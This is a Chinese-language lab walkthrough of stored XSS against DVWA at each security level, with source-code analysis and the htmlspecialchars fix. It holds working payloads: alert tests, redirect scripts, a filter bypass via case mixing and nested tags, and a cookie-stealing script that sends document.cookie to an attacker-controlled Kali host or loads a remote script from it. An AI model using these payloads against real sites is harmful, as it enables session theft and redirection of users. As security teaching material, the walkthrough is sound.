存储型XSS
长期存储于服务器端;
每次用户访问都会执行脚本代码;
1. 存储型XSS攻击图示
(1)获取被攻击者的cookie;
- 黑客首先向服务器发送js脚本;
- 服务器返回含有js脚本的页面;并将该页面存储在服务器上;
- 当被攻击方访问服务器时,服务器返回存储的js页面;
- 黑客接收到被攻击方的cookie;
(2) 重定向到第三方网站;
- 黑客首先向服务器发送js脚本;
- 服务器返回含有js脚本的页面;并将该页面存储在服务器上;
- 当被攻击方访问服务器时,服务器返回存储的js页面;
- 被攻击方进入第三方网站;
3. 存储型XSS
实验环境
(1)Windows服务器:Windows Server 2003,IP地址:192.168.37.128;
(2) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)
实验过程
安全级别:Low
(1)设置安全级别
(2)查看源码
(3)源码分析
trim(string,charlist):移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符;
mysql_real_escape_string(string,connection):对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义;
stripslashes(string):删除字符串中的反斜杠。
从源码中可以看到,对输入的name参数和message参数并没有做XSS方面的过滤与检查,并且数据存储在数据库中,所以存在明显的存储型XSS漏洞;
(4)实验操作
简单应用
4.1> 直接输入yxz;
4.2> 输入 <script>alert('XSS')</script>,弹出弹框;
(注:存储型XSS是长期存储在服务器端,每次访问时都会执行js脚本)
4.3> 输入 <body onload=alert('XSS1')>,弹出弹框;
4.4> 输入 <a href=http://192.168.37.128>登录</a>
4.5> 输入 <img src=http://192.168.37.128/a.jpg onerror=alert('XSS2')>
4.6> 输入<a href='' onclick=alert('XSS3')>点击</a>
重定向
4.7> 输入<script>window.location="http://www.baidu.com"</script>
#重定向到百度;
4.8> 输入 <script>window.location="http://192.168.37.128"</script>
# 重定向到192.168.37.128
4.9> 输入 <iframe src='http://192.168.37.128/a.jpg' height='0' width='0'></iframe>
# 访问192.168.37.128/a.jpg
获取cookie
4.10> 输入 <script>new Image().src="http://192.168.37.131/c.php?output="+document.cookie;</script>
在Kali上监听80端口,获取cookie值;
4.11> 输入 <script>alert(document.cookie)</script>
4.12> 输入 <script src='http://192.168.37.131/a.js'></script>
步骤:
1. 制作一个js脚本;
2. 把js脚本放到www目录下;
3. 开启阿帕奇服务;
4. 监听端口;
5. 访问js脚本;
6. 获取到js脚本实现的结果;
首先在Kali上写a.js脚本,开启Apache服务,并监听指定的端口;
输入 <script src='http://192.168.37.131/a.js'></script>
查看Kali监听到的cookie值;
安全级别:Medium
(1)设置安全级别;
(2)查看源码;
(3)源码分析
由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;
但是对于name参数,这里是基于黑名单的思想,使用str_replace函数将输入中的<script>删除,把script脚本当做字符串来处理;仍然存在存储型的XSS。
(4)实验过程
绕过方法
4.1> 可以在name中将<script>可以写成<Script>,大小写混淆绕过;
4.2> 嵌入绕过,在name中可以将script嵌入到<script>中,例如<scr<script>ipt>;
安全级别:High
(1)设置安全级别
(2)查看源码
(3)源码分析
由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;
但是对于name参数,High级别的代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容都替换为空,使得双写绕过、大小写混淆绕过不再有效;(正则表达式中i表示不区分大小写)
在High级别中,虽然在name参数中无法使用<script>标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码。
(4)实验过程
绕过方式
对于安全级别为High,只是添加了对script的限制,但并未限制其他的方式;
例如:输入 <body onload=alert('XSS1')>
安全级别:Impossible
(1)设置安全级别
(2)查看源码
(3)源码分析
当安全级别为Impossible时,name参数和message参数都使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);不能实现存储型型XSS攻击;